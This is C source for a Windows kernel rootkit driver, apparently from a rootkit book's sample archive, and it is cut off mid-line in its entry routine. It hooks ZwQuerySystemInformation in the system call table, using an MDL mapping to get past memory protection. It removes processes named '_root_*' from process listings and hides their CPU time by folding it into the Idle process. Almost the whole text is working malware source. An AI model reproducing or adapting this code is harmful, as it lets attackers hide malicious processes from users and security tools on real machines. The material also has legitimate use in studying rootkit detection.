HideProcessHookMDL.zip_HideProcessHookMDL_rootkit

// BASIC ROOTKIT that hides processes // ---------------------------------------------------------- // v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com) // v0.3 - Added defines to compile on W2K, and comments. Rich // v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array. // Added code to hide process times of the _root_*'s. Creative // v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org) // v1.0 - Trimmed code back to a process hider for the book. #include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // Added by Creative of rootkit.com struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; // Added by Creative of rootkit.com LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; /////////////////////////////////////////////////////////////////////// // NewZwQuerySystemInformation function // // ZwQuerySystemInformation() returns a linked list of processes. // The function below imitates it, except it removes from the list any // process who's name begins with "_root_". NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // This is a query for the process list. // Look for process names that start with // '_root_' and filter them out. struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //DbgPrint("Current item is %x\n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // we are the only process! SystemInformation = NULL; } } } else // This is the entry for the Idle process { // Add the kernel and user times of _root_* // processes to the Idle process. curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; // Reset the timers for next time we filter m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (SystemInformationClass == 8) // Query for SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return ntStatus; } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("ROOTKIT: OnUnload called\n"); // unhook system calls UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation ); // Unlock and Free MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { // Register a dispatch function for Unload theDriverObject->DriverUnload = OnUnload; // Initialize global times to zero // These variables will account for the // missing time our hidden processes are // using. m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; // save old system call locations OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); // Map the memory into our domain so we can change the permissions on the MDL g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // Change the flags of the MDL g_pmdlSystemCall->Mdl